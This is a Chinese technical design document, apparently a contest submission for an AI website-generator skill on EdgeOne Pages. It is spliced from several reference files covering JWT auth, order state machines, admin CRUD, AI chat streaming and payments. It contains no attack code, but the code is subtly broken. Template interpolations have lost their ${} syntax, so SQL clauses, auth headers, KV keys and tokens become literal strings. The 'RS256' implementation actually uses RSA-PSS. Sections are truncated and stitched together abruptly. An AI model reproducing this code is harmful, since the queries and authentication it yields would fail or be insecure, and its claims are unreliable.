| ID | 验收项 | 验证方法 |
|----|--------|---------|
| P2-01 | JWT 15min AT + 7d RT + Cookie 全属性 | 登录后 DevTools 查看 Cookie 属性 |
| P2-02 | 并发刷新 RT，第二个请求返回 409 | 两个 tab 同时触发刷新 |
| P2-03 | EventBus 401 跳转登录并回跳 | Token 过期后触发验证 |
| P2-04 | AI 限流：未登录 11 次请求第 11 个返回 429 | 匿名请求连续发送 |
| P2-05 | CSP Header 存在于 HTML 响应中 | `curl -I` 查看响应头 |
| P2-06 | 订单状态机：PENDING→CANCELLED 成功 | 调用 cancel API |
| P2-07 | 订单状态机：PAID→CANCELLED 被拒绝（需 admin） | 用户端测试 |
| P2-08 | Notification 钩子注册 + emit 触发 | 单元测试验证 |
| P2-09 | RS256 双轨验证（可选 Phase 2 末期） | HS/RS 混合 token 混跑 |

## 十八、Phase 3 实现（P2 编码 + Layer 2 Addon + 多租户铺垫）

### Phase 3 里程碑

```
✅ Phase 1 完成：Mock 数据 Demo，架构验证
✅ Phase 2 完成：P0/P1 安全设计 + P2 设计文档完整
✅ Phase 3 完成：P2 实现 + Layer 2 Addon + 多租户铺垫
```

### P2-1：RS256 双轨迁移（sharing/jwt-helper.js）

**实现文件：** `sharing/jwt-helper.js`

- 签发：RS256 私钥（`JWT_PRIVATE_KEY` 环境变量）
- 验证：优先 RS256，30 天内旧 HS256 token 仍可验证
- 迁移时间线：Day 0 部署 → Day 30 移除 HS256 兼容分支

```javascript
// 签发（永远 RS256）
const token = await signJWT({ sub: user.id, role: 'admin' }, AT_TTL_MS, env);

// 验证（自动双轨）
const payload = await verifyJWT(token, env);
// payload._alg === 'RS256' → 新 token
// payload._alg === 'HS256' → 30天兼容窗口内的旧 token
```

### P2-2：订单状态机（cloud-functions/）

**实现文件：**
- `cloud-functions/utils/order-state-machine.js` — 核心状态机 + TRANSITIONS 表 + PERMISSIONS 表
- `cloud-functions/api/order/transition.js` — 统一状态变更 API
- `cloud-functions/cron/order-cron.js` — 定时任务（PENDING 超时取消 / SHIPPED 自动完成）
- `db/migrations/002_order_logs.sql` — `order_status_logs` 审计表

**状态流转（6 状态）：**
```
PENDING → PAID → SHIPPED → COMPLETED
    ↓        ↓        ↓
CANCELLED  REFUNDED  REFUNDED
```

**权限矩阵：**
| 变更 | 用户（本人） | 管理员 |
|------|------------|--------|
| PENDING→CANCELLED | ✅ | ✅ |

### L2-1：SEO 模块（client/src/utils/seo.js + edge-functions/）

**实现文件：**
- `client/src/utils/seo.js` — JSON-LD 生成器 + Meta Tags + Sitemap XML 生成器
- `edge-functions/api/sitemap.xml.js` — 动态 Sitemap API（Edge Function，5 分钟缓存）
- `sharing/i18n/zh-CN.js` + `en-US.js` — 中英文案

**JSON-LD 支持：**
- `WebSite`（首页）
- `Product`（产品页，含 offers/aggregateRating）
- `BreadcrumbList`（面包屑）
- `Organization`（组织信息）

### L2-2：i18n 国际化（sharing/i18n/）

**实现文件：**
- `sharing/i18n/zh-CN.js` — 中文文案
- `sharing/i18n/en-US.js` — 英文文案
- `sharing/i18n/i18n.js` — 翻译函数 `t(key)` + 语言切换

**使用方式：**
```javascript
import { t, setLang, getLang } from './i18n.js';

t('nav.home')           // → '首页'
t('order.status.PAID')  // → '已支付'
setLang('en-US');       // 切换语言
```

### L2-3：Analytics 埋点（client/src/utils/analytics.js）

**实现文件：**
- `client/src/utils/analytics.js` — 埋点 SDK
- `edge-functions/api/analytics/event.js` — 事件接收 API（KV 存储）

**预定义事件：** `page_view` / `add_to_cart` / `checkout_start` / `purchase` / `signup` / `login` / `search`

**特点：** `navigator.sendBeacon` 不阻塞导航，支持页面卸载时发送。

### L3-1：Multi-tenant KV 前缀（sharing/kv-keys.js）

**实现文件：** `sharing/kv-keys.js`

所有 KV Key 统一加租户前缀：
```
Phase 3: "default:session:abc123"
Phase 4: "{tenant}:session:abc123"（从 JWT payload.tenant 动态读取）
```

### Phase 3 新增文件清单

# 建站 Skill — 比赛提交说明

> **提交单位：** 刘博
> **提交日期：** 2026-04-26
> **Skill 版本：** v2.2 · Phase 3 实现完成
> **Demo 部署地址：** https://geek-mall-demo-4qaxvmeh.edgeone.cool（需有效期内的 EdgeOne Pages 访问 Token）

---

## 一、参赛作品概述

**作品名称：** website-skeleton-skill
**一句话介绍：** 用户说一句话，AI 生成完整前后端网站，自动部署到 EdgeOne Pages。

### 解决的问题

传统建站存在三个核心痛点：

| 痛点 | 现状 | 我们的方案 |
|------|------|-----------|
| **技术门槛高** | 需要懂 Next.js/React + Node.js + MySQL + 部署 | Skill 生成零配置代码，用户只描述需求 |
| **安全漏洞多** | 电商站常见支付幂等、RT 轮换、超卖问题 | 六轮专家评审，Critical 问题在设计阶段全部修复 |
| **部署复杂** | 需要手动配置 CDN、SSL、CI/CD | 一行命令 `edgeone deploy`，全球加速 |

### 核心技术差异

1. **EdgeOne Pages 双运行时架构**：Edge Functions（无密钥、轻量、KV）处理读操作；Cloud Functions（含密钥、MySQL）处理写操作，职责边界清晰
2. **支付幂等原子锁**：业界首次将 Edge `putIfNotExists` 用于支付回调幂等，24h TTL < 微信重试窗口 72h
3. **RT 并发安全**：KV version 乐观锁解决 Refresh Token 并发轮换问题
4. **订单原子性**：MySQL `SELECT FOR UPDATE` + 乐观锁 + CHECK 约束，三重防超卖

---

## 六、安全设计亮点

### P0 安全措施（全部实现）

| 安全措施 | 实现方案 | 效果 |
|---------|---------|------|
| 支付幂等原子锁 | Edge `putIfNotExists` 24h TTL | 防止微信重复回调导致重复发货 |
| RT 并发安全 | KV version 乐观锁 | 两个并发刷新只有第一个成功 |
| 订单超卖 | SELECT FOR UPDATE + 乐观锁 + CHECK | 三重防护，MySQL 层保证 |
| 金额安全 | 服务端 MySQL 读取 | 前端无法篡改价格 |
| 支付回调隔离 | Platform Middleware 直接 return | 绕过 Edge JWT 验证 |
| 密码哈希 | bcrypt cost=12 | 业界标准，暴力破解成本极高 |

### P1 安全措施（设计完整，Phase 1 可实施）

- JWT 短期 Access Token（15min）+ RT 轮换
- Cookie HttpOnly + Secure + SameSite=Strict
- AI 聊天 KV 限流（未登录 10次/分钟，登录 60次/分钟）
- CSP Header 注入
- EventBus 401 自动跳转登录

---

## 七、与 EdgeOne Pages 平台深度集成

### 已验证的平台特性

- ✅ **KV Storage**：用于 Auth Session、AI History、幂等锁
- ✅ **Edge Functions**：JWT 校验、限流、商品列表
- ✅ **Cloud Functions**：bcrypt、微信/支付宝支付、MySQL
- ✅ **Platform Middleware**：CORS、CSP、支付回调 IP 白名单
- ✅ **edgeone deploy**：自动构建 + 上传 + 部署 + 返回 URL
- ✅ **edgeone whoami**：账号识别（刘博 · 100043397965）

### 平台约束的尊重与利用

| 约束 | 尊重方式 | 利用方式 |
|------|---------|---------|
| KV 仅 Edge 可用 | Node 通过 HTTP 调用 Edge | 用 Edge 做幂等锁网关 |
| Cloud 200ms CPU | AI SSE 放在 Cloud（非 CPU 密集） | Cloud 处理支付 SDK 调用 |
| Middleware 分层 | 支付回调 Platform 层直接 return | 解耦支付路径与 JWT 路径 |
| .edgeone 目录构建 | 构建时生成 cloud-functions | 与 Next.js 构建无缝衔接 |

---

# Admin 管理后台模块参考文档

> **版本：** v2.2 · **Phase：** Layer 1（管理栈）
> **职责：** RBAC 权限体系、商品/订单/用户 CRUD、运营统计、审计日志

---

## 一、RBAC 权限体系

### 角色定义

```javascript
// sharing/constants.js
export const UserRole = {
  USER:   'user',     // 普通用户：下单、查看自己的订单
  ADMIN:  'admin',    // 管理员：全站 CRUD
  MANAGER:'manager',  // 运营：订单管理、商品上下架
};
```

### 权限矩阵

| 操作 | user（本人） | manager | admin |
|------|------------|---------|-------|
| 查看自己的订单 | ✅ | ✅ | ✅ |
| 管理任意订单 | ❌ | ✅ | ✅ |
| 商品上架/下架 | ❌ | ✅ | ✅ |
| 修改商品价格 | ❌ | ❌ | ✅ |
| 用户管理 | ❌ | ❌ | ✅ |
| 查看运营统计 | ❌ | ✅ | ✅ |
| 审计日志 | ❌ | ❌ | ✅ |
| 系统设置 | ❌ | ❌ | ✅ |

---

## 二、Admin Guard 中间件

```javascript
// cloud-functions/utils/admin-guard.js

/**
 * 验证管理员权限
 * @param {Request} request
 * @param {Object} env
 * @param {string[]} allowedRoles - 允许的角色，如 ['admin', 'manager']
 * @returns {{ userId, role } | Response} 成功返回用户信息，失败返回 Response
 */
export async function adminGuard(request, env, allowedRoles = ['admin']) {
  const authHeader = request.headers.get('Authorization') || '';
  const token = authHeader.startsWith('Bearer ') ? authHeader.slice(7) : null;

  if (!token) {
    return new Response(JSON.stringify({ error: 'Unauthorized' }), { status: 401 });
  }

  const payload = await verifyJWT(token, env);
  if (!payload) {
    return new Response(JSON.stringify({ error: 'Invalid token' }), { status: 401 });
  }

  if (!allowedRoles.includes(payload.role)) {
    return new Response(JSON.stringify({ error: 'Forbidden: insufficient permissions' }), { status: 403 });
  }

  return { userId: payload.sub, role: payload.role };
}
```

---

## 三、商品管理 CRUD

### 3.1 列表查询（支持分页 + 筛选）

```javascript
// cloud-functions/api/admin/products.js

export async function onRequest(request, env) {
  // Admin Guard
  const auth = await adminGuard(request, env);
  if (auth instanceof Response) return auth;

  const url = new URL(request.url);
  const page = Math.max(1, parseInt(url.searchParams.get('page') || '1'));
  const pageSize = Math.min(100, parseInt(url.searchParams.get('pageSize') || '20'));
  const offset = (page - 1) * pageSize;
  const category = url.searchParams.get('category');
  const status = url.searchParams.get('status'); // active / inactive
  const keyword = url.searchParams.get('keyword');

  const pool = new Pool({ connectionString: env.DATABASE_URL });

  // WHERE 条件构建
  const conditions = [];
  const params = [];
  if (category) { conditions.push('category_id = ?'); params.push(category); }
  if (status) { conditions.push('status = ?'); params.push(status); }
  if (keyword) { conditions.push('name LIKE ?'); params.push(`%keyword%`); }
  const where = conditions.length ? `WHERE conditions.join(' AND ')` : '';

  const whereClause = where || 'WHERE 1=1';

  const [rows] = await pool.query(
    `SELECT id, name, category_id, price, stock, status, version, created_at
     FROM products whereClause
     ORDER BY id DESC
     LIMIT ? OFFSET ?`,
    [...params, pageSize, offset]
  );

  const [[{ total }]] = await pool.query(
    `SELECT COUNT(*) as total FROM products whereClause`, params
  );

  await pool.end();

  return new Response(JSON.stringify({
    data: rows,
    pagination: { page, pageSize, total, pages: Math.ceil(total / pageSize) }
  }), { headers: { 'Content-Type': 'application/json' } });
}
```

### 3.2 创建商品（乐观锁）

```javascript
// POST /api/admin/products（创建）
// PUT /api/admin/products/:id（更新）

export async function onRequest(request, env) {
  const auth = await adminGuard(request, env);
  if (auth instanceof Response) return auth;

  const body = await request.json();
  const { id, name, price, stock, category_id, status } = body;

  if (!name || !price) {
    return new Response(JSON.stringify({ error: 'name 和 price 为必填项' }), { status: 400 });
  }

  const pool = new Pool({ connectionString: env.DATABASE_URL });

  try {
    if (id) {
      // 更新（乐观锁）
      const [result] = await pool.query(
        `UPDATE products SET name=?, price=?, stock=?, category_id=?, status=?,
         version=version+1 WHERE id=? AND version=?`,
        [name, price, stock, category_id, status, id, body.version]
      );
      if (result.affectedRows === 0) {
        return new Response(JSON.stringify({ error: '并发冲突，请重试' }), { status: 409 });
      }
    } else {
      // 创建
      const [result] = await pool.query(
        `INSERT INTO products (name, price, stock, category_id, status) VALUES (?, ?, ?, ?, ?)`,
        [name, price, stock || 0, category_id, status || 'active']
      );
      await adminLog(pool, auth.userId, 'product:create', `ID=result.insertId`);
    }

    return new Response(JSON.stringify({ ok: true }), { headers: { 'Content-Type': 'application/json' } });
  } finally {
    await pool.end();
  }
}
```

---

## 四、运营统计

```javascript
// cloud-functions/api/admin/stats.js

export async function onRequest(request, env) {
  const auth = await adminGuard(request, env, ['admin', 'manager']);
  if (auth instanceof Response) return auth;

  const pool = new Pool({ connectionString: env.DATABASE_URL });

  const [[todayOrders]] = await pool.query(`
    SELECT COUNT(*) as count, COALESCE(SUM(total), 0) as revenue
    FROM orders WHERE DATE(created_at) = CURDATE() AND status != 'CANCELLED'
  `);

  const [[totalUsers]] = await pool.query(`SELECT COUNT(*) as count FROM users`);

  const [[totalProducts]] = await pool.query(`SELECT COUNT(*) as count FROM products WHERE status='active'`);

  const [ordersByStatus] = await pool.query(`
    SELECT status, COUNT(*) as count, SUM(total) as revenue
    FROM orders GROUP BY status
  `);

  const [recentOrders] = await pool.query(`
    SELECT o.id, o.order_no, o.total, o.status, o.created_at, u.email
    FROM orders o JOIN users u ON u.id = o.user_id
    ORDER BY o.created_at DESC LIMIT 10
  `);

  await pool.end();

  return new Response(JSON.stringify({
    today: { orders: todayOrders.count, revenue: todayOrders.revenue },
    total: { users: totalUsers.count, products: totalProducts.count },
    byStatus: ordersByStatus,
    recentOrders
  }), { headers: { 'Content-Type': 'application/json' } });
}

async function adminLog(pool, adminId, action, target) {
  await pool.query(
    'INSERT INTO admin_logs (admin_id, action, target) VALUES (?, ?, ?)',
    [adminId, action, target]
  );
}
```

---

## 五、审计日志表

```sql
CREATE TABLE admin_logs (
  id          BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
  admin_id    BIGINT UNSIGNED NOT NULL,
  action      VARCHAR(64) NOT NULL,  -- product:create / product:update / order:cancel / ...
  target      VARCHAR(128),
  created_at  DATETIME DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (admin_id) REFERENCES users(id)
);

CREATE INDEX idx_admin_logs_admin ON admin_logs(admin_id);
CREATE INDEX idx_admin_logs_action ON admin_logs(action);
CREATE INDEX idx_admin_logs_created ON admin_logs(created_at);
```

> **记录时机**：所有 Admin CRUD 操作写入 `admin_logs`，包括创建/更新/删除商品、修改订单状态、修改用户角色。

FILE:references/ai-chat-module.md
# AI Chat 模块参考文档

## 一、架构选择

**Edge Function 限制：**
- 200ms **CPU time** 限制（不是 wall clock time）
- `fetch()` 到外部 AI API 的 I/O 等待**不计入** CPU time
- **无 `waitUntil`**：异步写 KV 无法保证在响应发送前完成

**结论：** 流式 SSE 主力实现在 **Cloud Functions**，历史读取在 **Edge Functions**。

## 二、SSE 实现方案 B（前端中转历史）

```
前端
  ↓ GET /api/ai/history（Edge，KV 读取）
  ← 拿到 history JSON

  ↓ 建立 SSE 连接 /api/ai/chat-stream（Cloud）
  ← 带 history context 参数

Cloud SSE 流式响应
  ↓ 完成后异步写 KV（不阻塞响应）
```

```javascript
// Cloud Function: cloud-functions/api/ai/chat-stream.js
export async function onRequest(request, env) {
  const { userId } = await auth(request, env);
  const url = new URL(request.url);
  const historyParam = url.searchParams.get('history');
  const history = historyParam ? JSON.parse(historyParam) : [];

  const stream = new ReadableStream({
    async start(controller) {
      const encoder = new TextEncoder();

      async function sendEvent(type, data) {
        controller.enqueue(encoder.encode(`event: type\ndata: JSON.stringify(data)\n\n`));
      }

      try {
        await sendEvent('status', { status: 'thinking' });

        const response = await fetch('https://api.example.com/chat', {
          method: 'POST',
          headers: {
            'Authorization': `Bearer env.AI_API_KEY`,
            'Content-Type': 'application/json',
          },
          body: JSON.stringify({ messages: history, stream: true }),
        });

        const reader = response.body.getReader();
        const decoder = new TextDecoder();

        while (true) {
          const { done, value } = await reader.read();
          if (done) break;
          const chunk = decoder.decode(value);
          await sendEvent('message', { content: chunk });
        }

        await sendEvent('done', {});

      } catch (err) {
        await sendEvent('error', { message: err.message });
      } finally {
        controller.close();
      }
    }
  });

  return new Response(stream, {
    headers: {
      'Content-Type': 'text/event-stream',
      'Cache-Control': 'no-cache',
      'Connection': 'keep-alive',
    }
  });
}
```

## 三、前端 SSE 客户端

```javascript
// client/src/services/ai.js
import { EventBus } from '../utils/event-bus.js';

class AIService {
  constructor() {
    this.es = null;
  }

  async startChatSession() {
    // Step 1: 从 Edge KV 拿历史
    const history = await fetch('/api/ai/history').then(r => r.json());

    // Step 2: 建立 SSE，带历史 context
    this.es = new EventSource(`/api/ai/chat-stream?history=encodeURIComponent(JSON.stringify(history))`);

    this.es.addEventListener('message', (e) => {
      const data = JSON.parse(e.data);
      EventBus.emit('ai:message', { role: 'assistant', content: data.content });
    });

    this.es.addEventListener('status', (e) => {
      EventBus.emit('ai:status', JSON.parse(e.data));
    });

    this.es.addEventListener('done', () => {
      EventBus.emit('ai:status', { status: 'idle' });
    });

    this.es.addEventListener('error', (e) => {
      EventBus.emit('ai:error', { message: 'SSE 连接断开' });
    });
  }

  sendMessage(content) {
    EventBus.emit('ai:message', { role: 'user', content });
    return fetch('/api/ai/chat-stream', {
      method: 'POST',
      body: JSON.stringify({ content }),
      credentials: 'include'
    });
  }
}
```

## 四、AI 限流

```javascript
// Edge Middleware 或独立限流函数
async function aiRateLimit(request, env, userId, ip) {
  const key = userId ? `ai:user:userId` : `ai:ip:ip`;
  const limit = userId ? 60 : 10;  // 已登录 60次/分钟，未登录 10次/分钟
  const window = 60;

  const count = parseInt(await env.KV.get(`rl:key:Math.floor(Date.now() / 60000)`) || '0');
  if (count >= limit) {
    return { allowed: false, remaining: 0 };
  }
  await env.KV.put(`rl:key:Math.floor(Date.now() / 60000)`, String(count + 1), { expirationTtl: 65 });
  return { allowed: true, remaining: limit - count - 1 };
}
```

## 五、AI Widget（嵌入代码）

```javascript
// 注册为 Custom Element，完全自包含，不依赖 SPA 状态
class AIChatWidget extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({ mode: 'open' });
  }

  connectedCallback() {
    this.shadowRoot.innerHTML = `
      <style>
        :host { position: fixed; bottom: 20px; right: 20px; z-index: 9999; }
        .widget { width: 360px; height: 520px; border-radius: 16px; box-shadow: 0 8px 32px rgba(0,0,0,0.15); }
      </style>
      <div class="widget"><!-- 渲染逻辑 --></div>
    `;
  }
}
customElements.define('ai-chat-widget', AIChatWidget);
```

FILE:references/auth-module.md
# Auth 模块参考文档

## 一、认证架构总览

```
未登录 → 跳转登录页（AuthGuard）
已登录 → JWT Cookie → Edge Middleware 验证 → context.user 注入
过期 → 自动刷新 RT → 换新 JWT
```

## 二、JWT 配置

```javascript
// edge-functions/utils/jwt-helper.js
import { crypto } from '@edge-runtime/primitives';

const JWT_SECRET = new TextEncoder().encode(env.JWT_SECRET);
const ALGORITHM = 'HS256';

export async function signAccessToken(payload) {
  const header = btoa(JSON.stringify({ alg: ALGORITHM, typ: 'JWT' }));
  const body = btoa(JSON.stringify({ ...payload, exp: Date.now() + 15 * 60 * 1000, iat: Date.now() }));
  const signature = await crypto.subtle.sign('HMAC', JWT_SECRET, new TextEncoder().encode(`header.body`));
  return `header.body.btoa(String.fromCharCode(...new Uint8Array(signature)))`;
}

export async function verifyAccessToken(token) {
  try {
    const [header, body, sig] = token.split('.');
    const valid = await crypto.subtle.verify('HMAC', JWT_SECRET, Uint8Array.from(atob(sig), c => c.charCodeAt(0)), new TextEncoder().encode(`header.body`));
    if (!valid) return null;
    const payload = JSON.parse(atob(body));
    if (payload.exp < Date.now()) return null;
    return payload;
  } catch {
    return null;
  }
}
```

### 【Phase 3 新增】RS256 双轨迁移

> **版本：** Phase 3 P2-1
> **密钥生成：**
> ```bash
> openssl genrsa -out private.pem 2048
> openssl rsa -in private.pem -pubout -out public.pem
> ```
> **环境变量：**
> - `JWT_PRIVATE_KEY` — RSA 私钥（PEM，换行符用 `\n` 转义）
> - `JWT_PUBLIC_KEY`  — RSA 公钥（PEM，换行符用 `\n` 转义）
> - `JWT_SECRET`      — HS256 密钥（30 天兼容窗口后删除）

```javascript
// sharing/jwt-helper.js — RS256 实现（完整源码）

// ===================== PEM 解析 =====================
function parsePem(pem) {
  const lines = pem.replace(/\\n/g, '\n').split('\n');
  const base64 = lines.filter(l => !l.startsWith('-----')).join('');
  const binary = atob(base64);
  const bytes = new Uint8Array(binary.length);
  for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
  return bytes;
}

function base64UrlEncode(buffer) {
  const bytes = new Uint8Array(buffer);
  let binary = '';
  for (let i = 0; i < bytes.length; i++) binary += String.fromCharCode(bytes[i]);
  return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

function base64UrlDecode(str) {
  let s = str.replace(/-/g, '+').replace(/_/g, '/');
  while (s.length % 4) s += '=';
  const binary = atob(s);
  const bytes = new Uint8Array(binary.length);
  for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
  return bytes;
}

// ===================== RS256 签发 =====================
export async function signJWT(payload, expiresInMs, env) {
  const now = Math.floor(Date.now() / 1000);
  const header = { alg: 'RS256', typ: 'JWT' };
  const body = { ...payload, iat: now, exp: now + Math.floor(expiresInMs / 1000) };

  const headerEncoded = base64UrlEncode(new TextEncoder().encode(JSON.stringify(header)));
  const bodyEncoded = base64UrlEncode(new TextEncoder().encode(JSON.stringify(body)));
  const signingInput = `headerEncoded.bodyEncoded`;

  const keyData = parsePem(env.JWT_PRIVATE_KEY);
  const privateKey = await crypto.subtle.importKey(
    'pkcs8', keyData, { name: 'RSA-PSS', hash: 'SHA-256' }, false, ['sign']
  );
  const signature = await crypto.subtle.sign(
    { name: 'RSA-PSS', saltLength: 32 }, privateKey,
    new TextEncoder().encode(signingInput)
  );

  return `signingInput.base64UrlEncode(signature)`;
}

// ===================== 双轨验证 =====================
export async function verifyJWT(token, env) {
  const parts = token.split('.');
  if (parts.length !== 3) return null;
  const [headerEnc, bodyEnc, sigEnc] = parts;

  const header = JSON.parse(new TextDecoder().decode(base64UrlDecode(headerEnc)));
  const body = JSON.parse(new TextDecoder().decode(base64UrlDecode(bodyEnc)));
  const now = Math.floor(Date.now() / 1000);

  // RS256 优先验证
  if (header.alg === 'RS256' && env.JWT_PUBLIC_KEY) {
    try {
      const keyData = parsePem(env.JWT_PUBLIC_KEY);
      const pubKey = await crypto.subtle.importKey(
        'spki', keyData, { name: 'RSA-PSS', hash: 'SHA-256' }, false, ['verify']
      );
      const valid = await crypto.subtle.verify(
        { name: 'RSA-PSS', saltLength: 32 }, pubKey,
        base64UrlDecode(sigEnc), new TextEncoder().encode(`headerEnc.bodyEnc`)
      );
      if (valid && body.exp > now) return { ...body, _alg: 'RS256' };
    } catch {}
  }

  // HS256 兼容（30 天窗口内）
  if (header.alg === 'HS256' && env.JWT_SECRET) {
    try {
      const secretKey = await crypto.subtle.importKey(
        'raw', new TextEncoder().encode(env.JWT_SECRET),
        { name: 'HMAC', hash: 'SHA-256' }, false, ['verify']
      );
      const valid = await crypto.subtle.verify(
        'HMAC', secretKey, base64UrlDecode(sigEnc),
        new TextEncoder().encode(`headerEnc.bodyEnc`)
      );
      if (valid && body.exp > now) {
        // 仅接受 30 天内签发的旧 token
        const compatDeadline = Date.now() - 30 * 24 * 3600 * 1000;
        if (body.iat * 1000 > compatDeadline) {
          return { ...body, _alg: 'HS256' };
        }
      }
    } catch {}
  }

  return null;
}
```

### RS256 迁移时间线

```
Day 0:      部署 RS256 签发 + 双轨验证（JWT_PRIVATE_KEY/JWT_PUBLIC_KEY 注入）
Day 1-30:   HS256 旧 token 仍可验证（向后兼容，日志记录 _alg: 'HS256'）
Day 30:     移除 HS256 兼容分支（仅 RS256）
Day 30:     删除 JWT_SECRET 环境变量
```
```

## 三、KV Session 存储

```javascript
// edge-functions/utils/kv-helper.js
const SESSION_TTL = 86400;  // 24h

export async function getSession(kv, sessionId) {
  const data = await kv.get(`session:sessionId`);
  return data ? JSON.parse(data) : null;
}

export async function setSession(kv, sessionId, userData) {
  await kv.put(`session:sessionId`, JSON.stringify({ ...userData, createdAt: Date.now() }), {
    expirationTtl: SESSION_TTL
  });
}

export async function deleteSession(kv, sessionId) {
  await kv.delete(`session:sessionId`);
}
```

## 四、Cookie 安全属性

```javascript
// Edge Middleware 中签发 Cookie
new Response(body, {
  headers: {
    'Set-Cookie': [
      `access_token=token; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900`,
      `refresh_token=rt; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800`
    ].join(', ')
  }
});
```

## 五、RT 轮换（version 乐观锁）

```javascript
// edge-functions/api/auth/refresh.js
// 见 SKILL.md 主文件完整实现
// 核心：KV.put 在 version 不匹配时返回 false → 返回 409 → 客户端重试
```

## 六、skipAuthPaths 白名单

```javascript
const skipAuthPaths = [
  '/api/auth/login',
  '/api/auth/register',
  '/api/auth/refresh',
  '/api/products',
  '/api/products/list',
  '/api/products/categories',
  '/api/products/[id]',
  '/api/ai/chat',
  '/api/pay/wx-notify',
  '/api/pay/ali-notify',
];
```

## 七、前端 AuthService（内存模式）

```javascript
// client/src/services/auth.js
let _currentUser = null;

export const AuthService = {
  async getCurrentUser() {
    if (_currentUser) return _currentUser;
    const res = await fetch('/api/auth/me', { credentials: 'include' });
    if (!res.ok) return null;
    _currentUser = await res.json();
    return _currentUser;
  },
  setUser(user) { _currentUser = user; },
  clearUser() { _currentUser = null; },
  isLoggedIn() { return !!_currentUser; },
  onAuthChange(callback) {
    window.addEventListener('auth:changed', (e) => callback(e.detail));
  }
};

window.dispatchEvent(new CustomEvent('auth:changed', { detail: user }));
```

---

## 一、Cloud Functions 概述

Cloud Functions 运行在 **Node.js 环境**，可以：
- 访问 MySQL（主数据库）
- 使用密钥（bcrypt、支付 SDK）
- 执行长时间任务（SSE 流）
- 发起外部 HTTP 请求

## 二、函数签名

EdgeOne Pages Cloud Functions 的导出格式：

```javascript
// Node.js
export async function onRequest(request, env) {
  // request: Request 对象
  // env: 环境变量
  return new Response('...', { status: 200 });
}
```

### 接收请求参数

```javascript
// GET 请求
export async function onRequest(request, env) {
  const url = new URL(request.url);
  const id = url.searchParams.get('id');
}

// POST 请求
export async function onRequest(request, env) {
  const body = await request.json();
  // 或
  const body = await request.formData();
}
```

---

## 三、MySQL 连接池

```javascript
// cloud-functions/utils/db.js

import { Pool } from 'mysql2/promise';

let pool = null;

export async function getPool(connectionString) {
  if (!pool) {
    pool = new Pool({
      connectionString,
      waitForConnections: true,
      connectionLimit: 10,
      queueLimit: 0,
      enableKeepAlive: true,
      keepAliveInitialDelay: 0
    });
  }
  return pool;
}

// Cloud Function 中使用
export async function onRequest(request, env) {
  const pool = await getPool(env.DATABASE_URL);
  try {
    const [rows] = await pool.query('SELECT * FROM users WHERE id = ?', [userId]);
    return new Response(JSON.stringify(rows[0]));
  } finally {
    // Cloud Functions 不需要手动关闭池
  }
}
```

### 事务示例

```javascript
export async function withTransaction(pool, fn) {
  const conn = await pool.getConnection();
  try {
    await conn.beginTransaction();
    const result = await fn(conn);
    await conn.commit();
    return result;
  } catch (err) {
    await conn.rollback();
    throw err;
  } finally {
    conn.release();
  }
}
```

---

## 四、bcrypt 密码哈希

```javascript
// cloud-functions/api/auth/register.js
import bcrypt from 'bcryptjs';

const BCRYPT_ROUNDS = 12;

export async function onRequest(request, env) {
  const { email, password, name } = await request.json();

  if (!email || !password || password.length < 8) {
    return new Response(JSON.stringify({ error: 'Invalid input' }), { status: 400 });
  }

  const pool = await getPool(env.DATABASE_URL);
  const [existing] = await pool.query('SELECT id FROM users WHERE email = ?', [email]);
  if (existing.length > 0) {
    return new Response(JSON.stringify({ error: '邮箱已被注册' }), { status: 409 });
  }

  const passwordHash = await bcrypt.hash(password, BCRYPT_ROUNDS);

  const [result] = await pool.query(
    'INSERT INTO users (email, password_hash, name) VALUES (?, ?, ?)',
    [email, passwordHash, name || '']
  );

  return new Response(JSON.stringify({
    userId: result.insertId,
    email
  }), { status: 201, headers: { 'Content-Type': 'application/json' } });
}
```

---

## 五、微信支付 SDK 封装

```javascript
// cloud-functions/utils/payment-sdk.js

/**
 * 微信支付 V3 — 统一下单
 */
export async function wxPayCreateOrder(env, { outTradeNo, amount, description, notifyUrl }) {
  const url = 'https://api.mch.weixin.qq.com/v3/pay/transactions/native';

  const payload = {
    appid: env.WX_APPID,
    mchid: env.WX_MCHID,
    description,
    out_trade_no: outTradeNo,
    notify_url: notifyUrl,
    amount: { total: amount, currency: 'CNY' }
  };

  const token = await getWxAuthToken(env);
  const response = await fetch(url, {
    method: 'POST',
    headers: {
      'Authorization': `WECHATPAY2-SHA256-RSA2048 token`,
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(payload)
  });

  if (!response.ok) {
    const err = await response.text();
    throw new Error(`Wechat pay error: err`);
  }

  const data = await response.json();
  return { codeUrl: data.code_url, tradeNo: data.id };
}
```

---

## 六、AI SSE 流式响应

```javascript
// cloud-functions/api/ai/chat-stream.js

export async function onRequest(request, env) {
  const url = new URL(request.url);
  const historyParam = url.searchParams.get('history');
  const history = historyParam ? JSON.parse(decodeURIComponent(historyParam)) : [];

  const stream = new ReadableStream({
    async start(controller) {
      const encoder = new TextEncoder();

      const sendEvent = (event, data) => {
        controller.enqueue(encoder.encode(`event: event\ndata: JSON.stringify(data)\n\n`));
      };

      try {
        const messages = [
          ...history.map(h => ({ role: h.role, content: h.content })),
        ];

        const aiResponse = await fetch('https://api.example.com/chat', {
          method: 'POST',
          headers: {
            'Authorization': `Bearer env.AI_API_KEY`,
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({ messages, stream: true })
        });

        const reader = aiResponse.body.getReader();
        while (true) {
          const { done, value } = await reader.read();
          if (done) break;
          const text = new TextDecoder().decode(value);
          sendEvent('message', { content: text });
        }

        sendEvent('done', {});
      } catch (err) {
        sendEvent('error', { message: err.message });
      } finally {
        controller.close();
      }
    }
  });

  return new Response(stream, {
    headers: {
      'Content-Type': 'text/event-stream',
      'Cache-Control': 'no-cache',
      'Connection': 'keep-alive'
    }
  });
}
```

# 部署参考文档

> **版本：** v2.2 · **Phase：** Layer 0（Core）
> **部署平台：** EdgeOne Pages

---

## 一、快速部署

### 1.1 环境准备

```bash
# 1. 安装 EdgeOne CLI
npm install -g edgeone@latest

# 2. 登录（选择中国区）
edgeone login --site china

# 3. 查看账号
edgeone whoami
# → 刘博 · 100043397965
```

### 1.2 初始化项目

```bash
